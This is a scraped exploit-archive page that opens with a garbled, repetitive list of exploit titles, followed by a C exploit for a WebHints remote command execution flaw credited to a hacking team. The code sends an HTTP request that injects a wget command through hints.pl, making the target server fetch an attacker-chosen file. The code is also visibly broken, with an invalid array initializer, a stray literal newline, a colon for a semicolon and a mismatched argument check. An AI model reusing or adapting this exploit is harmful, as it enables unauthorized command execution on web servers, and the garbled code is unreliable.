477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
91 lines
3.4 KiB
C
Executable file
91 lines
3.4 KiB
C
Executable file
/*
|
|
**************************************************************************************
|
|
* T r a p - S e t U n d e r g r o u n d H a c k i n g T e a m *
|
|
**************************************************************************************
|
|
EXPLOIT FOR : WebHints Remote C0mmand Execution Vuln
|
|
|
|
Coded By: A l p h a _ P r o g r a m m e r (Sirus-v)
|
|
E-Mail: Alpha_Programmer@Yahoo.Com
|
|
|
|
This Xpl Upload a Page in Vulnerable Directory , You can Change This Code For Yourself
|
|
|
|
**************************************************************************************
|
|
* GR33tz T0 ==> mh_p0rtal -- oil_Karchack -- The-CephaleX -- Str0ke *
|
|
*And Iranian Security & Technical Sites: *
|
|
* *
|
|
* TechnoTux.Com , IranTux.Com , Iranlinux.ORG , Barnamenevis.ORG *
|
|
* Crouz , Simorgh-ev , IHSsecurity , AlphaST , Shabgard & GrayHatz.NeT *
|
|
**************************************************************************************
|
|
*/
|
|
#include <string.h>
|
|
#include <stdlib.h>
|
|
#include <stdio.h>
|
|
#pragma comment(lib, "ws2_32.lib")
|
|
#include <winsock2.h>
|
|
|
|
|
|
#define MY_PORT 80
|
|
#define BUF_LEN 256
|
|
/**************************************************************************************/
|
|
int main(int arg_c, char *arg_v[])
|
|
{
|
|
static const char cmd[] = "GET %chints.pl?|wget %c| HTTP/1.0\r\n\r\n" , arg_v[2] , arg_v[3];
|
|
|
|
struct sockaddr_in their_adr;
|
|
char buf[BUF_LEN];
|
|
struct hostent *he;
|
|
int sock, i;
|
|
WSADATA wsdata;
|
|
|
|
/* Winsock start up */
|
|
WSAStartup(0x0101, &wsdata);
|
|
atexit((void (*)(void))WSACleanup);
|
|
|
|
if(arg_c != 3)
|
|
{
|
|
printf("=========================================================\n");
|
|
printf(" Webhints Exploit By Alpha_Programmer\n");
|
|
printf(" Trap-set Underground Hacking Team\n");
|
|
printf(" Usage : webhints.exe [Targ3t] [DIR] [File Address]\n");
|
|
printf("=========================================================\n");
|
|
return 1;
|
|
}
|
|
/* create socket */
|
|
printf("calling socket()...\n");
|
|
sock = socket(AF_INET, SOCK_STREAM, 0);
|
|
|
|
/* get IP address of other end */
|
|
printf("calling gethostbyname()...\n");
|
|
he = gethostbyname(arg_v[1]);
|
|
if(he == NULL)
|
|
{
|
|
printf("can't get IP address of host '%s'\n", arg_v[1]);
|
|
return 1;
|
|
}
|
|
memset(&their_adr, 0, sizeof(their_adr));
|
|
their_adr.sin_family = AF_INET;
|
|
memcpy(&their_adr.sin_addr, he->h_addr, he->h_length);
|
|
their_adr.sin_port = htons(MY_PORT);
|
|
/* connect */
|
|
printf("C0nnecting...\n");
|
|
i = connect(sock, (struct sockaddr *)&their_adr, sizeof(their_adr));
|
|
if(i != 0)
|
|
{
|
|
printf("C0nnect() returned %d, errno=%d\n", i, errno);
|
|
return 1;
|
|
}
|
|
/* send H3ll C0mmand */
|
|
printf("Sending H3ll Packets...\n");
|
|
i = send(sock, cmd, sizeof(cmd), 0);
|
|
if(i != sizeof(cmd))
|
|
{
|
|
printf("Send. returned %d, errno=%d\n", i, errno);
|
|
return 1;
|
|
}\n
|
|
printf("OK ... Now You Can Test your file in hints.pl Directory\n"):
|
|
|
|
closesocket(sock);
|
|
return 0;
|
|
}
|
|
|
|
// milw0rm.com [2005-06-11]
|